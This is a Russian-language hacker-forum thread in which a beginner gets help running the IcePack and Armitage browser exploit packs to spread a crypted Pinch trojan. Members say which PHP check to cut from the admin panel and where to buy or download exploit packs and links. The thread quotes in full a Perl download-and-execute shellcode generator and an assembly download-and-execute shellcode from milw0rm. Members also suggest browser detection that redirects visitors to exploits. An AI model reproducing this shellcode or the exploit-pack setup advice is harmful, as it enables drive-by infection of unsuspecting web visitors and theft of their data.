Ошибка сплоита IcePack Platinum 2007

[cheter]

Значи так,выдаёт в админке вот такое чудо
"Неправильный PE заголовок исполняемого файла, проверте работоспособность исходного exe файла"
Как с этим бороться?

[GlOFF]

Видимо криптовал файл и крипт наворотил в файле всего...
Попробуй в коде IcePack найти проверку на валидность файла и убрать её...

[Piflit]

но файл лучше проверить, чтобы был рабочий

[cheter]

но файл лучше проверить, чтобы был рабочий
1.какой файл?трой или в айспаке какой то именно?
2.Если троян то файл рабочий,работает через gate,билдер пинч 2.99 by SLESH,

[Piflit]

тогда, как глофф сказал

[cheter]

не могу найти,кто может подскажет какой код редактировать?и в каком файле содержиться

[BlackSun]

В /admin/index.php смотри, ближе к концу, где настройки будут
--
ЗЫ: щя точный номер строки скажу

[BlackSun]

Ищи строку

$pe = "<br><font color='#FF2A00'><b>Неправельный PE заголовок испольняемого файла, проверте работоспособность исходного exe файла</b></font><br>";


ЗЫ: в раздезенденном строка #988

--

ЗЫ2:
вырезать:

if ( $sign != "MZ" )
{
$pe = "<br><font color='#FF2A00'><b>Неправельный PE заголовок испольняемого файла, проверте работоспособность исходного exe файла</b></font><br>";
}

[Piflit]

нужна сама проверка а не строка с текстом

[BlackSun]

нужна сама проверка а не строка с текстом
/* 979 */ $f = @fopen( @"../load/file".$nm.".exe", "rb" );
/* 980 */ $sign = @fread( $f, 2 );
/* 981 */ fclose( $f );
----
/* 986 */ if ( $sign != "MZ" )
/* 987 */ {
/* 988 */ $pe = "<br><font color='#FF2A00'><b>Неправельный PE заголовок испольняемого файла, проверте работоспособность исходного exe файла</b></font><br>";
/* 989 */ }

[Piflit]

/* 986 */ if ( $sign != "MZ" )
заменить на
/* 986 */ if ( $sign !== $sign )
или типа того)

[BlackSun]

Проше вообше вырезать)

[GlOFF]

Гм. по идеи проверка очень даже щедящая
$sign != "MZ"

без сигны MZ файл действительно не будет работать :)
ТС проверь свои конфигурации и файл, может, что напутал...

[Piflit]

мб с кодировками в скрипте проблема

[BlackSun]

И да .. может у тя и файла то наместе нет?)) на /load/ - 0777 chmod

[GlOFF]

или файл есть, но другой какой-нибудь скрипт :)
Или права не те, файл считаться не может, буфер $sign пустой, поэтому и $sign != "MZ"

[[Dezzter]]

А какая щас вообще из паблика самая актуальная связка?

[BlackSun]

']А какая щас вообще из паблика самая актуальная связка?
Любая связка + пачка сплоитов + прямые руки, которые эти сплоиты соберут в один пакет и покриптуют

[[Dezzter]]

+ пачка сплоитов +
Что за сплоиты?

[Piflit]

']Что за сплоиты?
которые стоят $2k+

[BlackSun]

']Что за сплоиты?
Дожыли ...

[[Dezzter]]

Сорри, чёт тупанул и не понял про какие ты сплоиты говоришь!

[BlackSun]

']Сорри, чёт тупанул и не понял про какие ты сплоиты говоришь!
Про сплоиты (для танкистов: эксплоиты, exploits) для браузеров FF, MSIE, Opera

[cheter]

может кто выложить связку IcePack рабочую,всё перетыкал,сделал как написали,всё равно не работает

[RanDoMix]

http://rapidshare.com/files/98666962/icepack.rar.html
http://rapidshare.com/files/98788994/armitage.rar - если надо.

[cheter]

Так,создавать темку небуду,в общем юзаю армитаж пока нет айспака,вообще что актуальнее?и ещё вопросик,в папке exploits как я понял,лежат сплоиты подгружающие экзешник при заходе на index.php исходя из этого сделал вывод для себя,где взять побольше этих самых сплоитов?а то оперу и ие 7 не пробивает блин,как это дело можно организовать,ща буду мудрить с айспаком

[RanDoMix]

имхо. Из паблика актуальнее армитражка.

А более новые сплоиты можно взять из более новых версий связок. Хотя проще поставить обновлённую версию связки).

[cheter]

обновлённую версию связки где взять?купить у кого то?если да,то сколько стоит.,если нет,то где?

[BlackSun]

обновлённую версию связки где взять?купить у кого то?если да,то сколько стоит.,если нет,то где?
'Паблик' и 'свежее' - в основном разные весчи) связки в среднем стоят от 300$

[cheter]

такой вот вопрос,а свежее откуда брать?в инете ползал чёт ненашёл,может кто помочь?

[BlackSun]

Свежее из пабла в основном в разделах наподобии "Приват софт нахаляву" и "Смерть барыгам", но золотых гор и супер халявы там не иши, действительно хорошие веши редко можно встретить

[cheter]

Я понял,вот что я тут напридумывал,строго пожалуйста не судите,я начинающий просто=)
в папке армитажа есть такие файлы как ie.php ff.php и т.д. как я понял это эксплоиты,так вот,на милворме взял вот такой эксплоит
win32 Download and Execute Shellcode Generator (browsers edition)
его код:
#!/usr/bin/perl

$loading_url=$ARGV[0];
chomp ($loading_url);
my @buffer;

if ($loading_url eq "") {
$sco = 'ERROR!!! Enter url to remote exe.';
buffer_gen($sco);
print @buffer;
exit;
}

$c= generate_char(0);

$sco= "\xE8\x56\x00\x00\x00\x53\x55\x56\x57\x8B\x6C\x24\x 18\x8B\x45".
"\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x 20\x01\xEB".
"\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\x C0\xAC\x38".
"\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x 24\x14\x75".
"\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x 1C\x01\xEB".
"\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x 5B\xC2\x08".
"\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x 5B\x1C\x8B".
"\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x 89\xC7\x53".
"\x68\x8E\x4E\x0E\xEC\xFF\xD6\xEB\x50\x5A\x52\xFF\x D0\x89\xC2".
"\x52\x52\x53\x68\xAA\xFC\x0D\x7C\xFF\xD6\x5A\xEB\x 4D\x59\x51".
"\x52\xFF\xD0\xEB\x72\x5A\xEB\x5B\x59\x6A\x00\x6A\x 00\x51\x52".
"\x6A\x00\xFF\xD0\x53\x68\xA0\xD5\xC9\x4D\xFF\xD6\x 5A\x52\xFF".
"\xD0\x53\x68\x98\xFE\x8A\x0E\xFF\xD6\xEB\x44\x59\x 6A\x00\x51".
"\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\x FF\xD0\xE8".
"\xAB\xFF\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x 6C\x6C\x00".
"\xE8\xAE\xFF\xFF\xFF\x55\x52\x4C\x44\x6F\x77\x6E\x 6C\x6F\x61".
"\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\xE8\xA0\xFF\x FF\xFF\x2E".
"\x2E\x5C".$c."\x00\xE8\xB7\xFF\xFF\xFF\x2E\x2E\x5C".$c."\x00".
"\xE8\x89\xFF\xFF\xFF".$loading_url."\x00";

$sco=convert_sco($sco);
buffer_gen($sco);
print @buffer;

sub generate_char()
{
my $wdsize = shift;
my @alphanumeric = ('a'..'z');
my $wd = join '',
map $alphanumeric[rand @alphanumeric], 0..$wdsize;
return $wd;
}

sub convert_sco {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';

my $idx = 0;

if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}

sub buffer_gen(){
$sco = shift;
@buffer=<<FX;

Win32 Download and Execute Shellcode Generator (browsers edition)
Size: 275 bytes + loading_url
Author: Yag Kohha (skyhole [at] gmail.com)

Usage: ./sco http://remote_server/loader.exe

Greetz to:
str0ke \& milw0rm project
shinnai
h07
rgod
H.D. Moor \& Metaspl0it
offtopic
3APA3A

-------> Start

$sco

-------> End
FX

}

# milw0rm.com [2008-03-14]

[cheter]

исходя из названия я понял,что этот эксплоит загружает и запускат экзешник(троян)на компе жертвы,можно ли те файлы удалить ie.php ff.php и т.д и заменить вот этим кодом в файле с расширением пхп?но в этом коде в первой строке есть строчка перл
это значит что сплоит под перл?как сделать что бы этот сплоит подходил для всех браузеров и под связку армитажа?если что то не так объяснил,пожалуйста переспросите как нужно

[Piflit]

это Shellcode Generator а не сплойт

[cheter]

а вот етот?
;
; relocateable dynamic runtime assembly code example using hash lookup *** for IE exploits only ***
; the URLMON.DLL must already be loaded into the process space for this to work, so do not run on its own!!
;
; to test use /DTEST_CODE in ml command line
;
; URLDownLoadToFileA() / WinExec() / ExitProcess() | ExitThread()
;
; 124 bytes
;
; for testing:
;
; ml /c /coff /Cp /DTEST_CODE dexec32.asm
; link /subsystem:windows /section:.text,w dexec32.obj urlmon.lib
;
; wyse101 [at] gmail.com
;
; March 2007
;
.386
.model flat,stdcall

ROL_CONSTANT equ 5

mrol macro iNum:req,iBits:req
exitm <(iNum shl iBits) or (iNum shr (32-iBits))>
endm

mror macro iNum:req,iBits:req
exitm <(iNum shr iBits) or (iNum shl (32-iBits))>
endm

hashapi macro szApi
local dwApi

dwApi = 0

forc x,szApi
dwApi = dwApi + '&x'
dwApi = mrol(dwApi,ROL_CONSTANT)
endm
dwApi = mrol(dwApi,ROL_CONSTANT)
dw (dwApi and 0ffffh)
endm

.code

assume fs:nothing

code_start:
jmp load_data
IFDEF TEST_CODE
extern URLDownloadToFileA :proc
call URLDownloadToFileA ; included when assembled with /DTEST_CODE
ENDIF
setup_parameters:
pop edi ; offset @cmd_start
xor eax,eax ; eax = 0
cdq ; edx = 0
; ************************************************** ******************
push eax ; exit code = 0
; ************************************************** ******************
push eax ; SW_HIDE
mov dl,(@cmd_end-@cmd_start)-1 ; this allows command up to 255 bytes
push edi ; file name to execute
; ************************************************** ******************
push eax ; callback routine URLDownLoadToFileA
push eax ; reserved, must be zero
push edi ; file name to save as
add edi,edx ; get offset of @url_start-1
stosb ; zero tail end
mov dl,(@url_end-@url_start)-1 ; limit of 255 bytes for url
push edi ; url to download file from
push eax ; interface
add edi,edx ; get offset of @urlmon-1
stosb ; zero tail end of url
; ************************************************** *******************
load_modules:
push edi ; save current offset to hashes
push 30h
pop ecx
mov eax,fs:[ecx] ; PEB base address
mov eax,[eax+0ch] ; PEB_LDR_DATA LoaderData
mov ebp,[eax+1ch] ; LIST_ENTRY InMemoryOrderModuleList
scan_dll:
mov ebx,[ebp+8] ; DllBase
mov ebp,[ebp] ; Flink
push ebp ; save

mov eax,[ebx+3ch]
mov eax,[ebx+eax+78h] ; IMAGE_DIRECTORY_ENTRY_EXPORT
lea esi,[ebx+eax+18h] ; offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
lodsd
xchg eax,ecx ; ecx = NumberOfNames

lodsd
add eax,ebx ; AddressOfFunctions
push eax

lodsd
lea edi,[eax+ebx] ; AddressOfNames

lodsd
lea ebp,[eax+ebx] ; ebp = AddressOfNameOrdinals
load_api:
mov esi,[edi+4*ecx-4]
add esi,ebx
xor eax,eax
cdq
hash_api:
lodsb
add edx,eax
rol edx,ROL_CONSTANT
dec eax
jns hash_api

mov esi,[esp+8] ; get api hashes
cmp dx,word ptr[esi] ; found a match?
je call_api

loop load_api
pop eax ; check
pop ebp ;
jmp scan_dll
call_api:
pop eax
movzx edx,word ptr [ebp+2*ecx-2]
add ebx,[eax+4*edx]
pop ebp ; modules
pop edi ; api hashes
call ebx ; call api
stosw ; advance 2 bytes to next hash
jmp load_modules ; do another, just keep going until ExitProcess is reached.
; *************************
load_data:
call setup_parameters
@cmd_start:
db 'file.exe',0ffh ; WinExec("file.exe",SW_HIDE);
@cmd_end:
@url_start:
db 'http://127.0.0.1/file.exe',0ffh ; url of file to download
@url_end:
hashapi <URLDownloadToFileA>
hashapi <WinExec>
hashapi <ExitProcess>
; ************************************************** *******************

end code_start

; milw0rm.com [2007-06-14]

называется вроде как надо
win32 download and execute
но он только под ослика вроде как,а под другие найти там можно же наверняка=)

[RanDoMix]

А это вообще - асм :d.
Тебе нужен пхп).

[cheter]

инет перерыл,ничё толком ненашёл,народ может кто-нибудь дать сплоиты пхп что бы под ие 7 фф и оперу подгружал экзешник?устал искать но поиски продолжаю=)и если вот нашёл сплоит пхп,его просто в папку армитажа положить?гг=)а то грузит только на 6 ослика экзешник

[[Dezzter]]

инет перерыл,ничё толком ненашёл,народ может кто-нибудь дать сплоиты пхп что бы под ие 7 фф и оперу подгружал экзешник?
Так щас все и кинулись тебе выкладывать такие сплоиты...
и если вот нашёл сплоит пхп,его просто в папку армитажа положить?
От того что ты его просто кинешь в папку ни чего не изменится! Вернее изменится, просто всё перестанет работать!
ЗЫ. Ты что-ли тегами пользоваться не умеешь? В следующий раз коды выкладывай в тегах [code]

[cheter]

но на милворме же выкладывают,блин только придраться можешь,дельного бы сказал что нибудь

[cheter]

может кто-нибудь хотя бы сплоит для ff выложить ?и немного хотяб рассказать,как в армитаж внедрить его

[[Dezzter]]

Если ты не знаешь как это сделать значит ты не знаешь ни php ни html, а без знаний хотябы азов ты этого не сделаешь, либо забей на это, либо купи нормальную связку и не парься!

[cheter]

а вместо того что бы выступать в роли папки,взял бы и подсказал с чего и как начать

P.S.html знаю,php начал месяца 3 назад изучать

[[Dezzter]]

а вместо того что бы выступать в роли папки,взял бы и подсказал с чего и как начать

P.S.html знаю,php начал месяца 3 назад изучать
Ну а если ты знаешь html и php, то ты что не можешь додуматься как и что сделать??
Берешь сплоиты создаёшь index.html и в нём ху*ришь код, чтобы определялся браузер и после определения был редирект на нужный слоит...
Я это себе так представляю, может я ошибаюсь!

[MadFun.]

Мой совет для начала,не мучайся с айспаком,он уже своё отработал,смело качай торнадо,либо cry

[cheter]

Хорошо,попробую=)

[Folc]

Мой совет для начала,не мучайся с айспаком,он уже своё отработал,смело качай торнадо,либо cry
Дайте ссылку

[BlackSun]

Мой совет для начала,не мучайся с айспаком,он уже своё отработал,смело качай торнадо,либо cry
.. ты просто непробовал совместить айс с торнадо, хорошим фреймером, и прочими полезными мелочами ..

ЗЫ: cry - УГ

[cheter]

Фреймер есть.а где торнадо скачать?искал в нете,ненашёл,может кто поделиться своим?если да,залейте на слил ру пжл,с рапиды не качает=(

[--exe--]

Вот статейка с описанием и ссылками на связки: _https://forum.zloy.org/showthread.php?t=57993
Торнадо там тоже есть.

[cheter]

Большое спс,сорь за нупский вопрос,но как его установить то?обычно есть файл install.php,тут нет,каким образом?я только только начинаю работать со сплоитами,прошу если знаете,не орите,знаешь-думай,а просто подскажите как,для этого и создан форум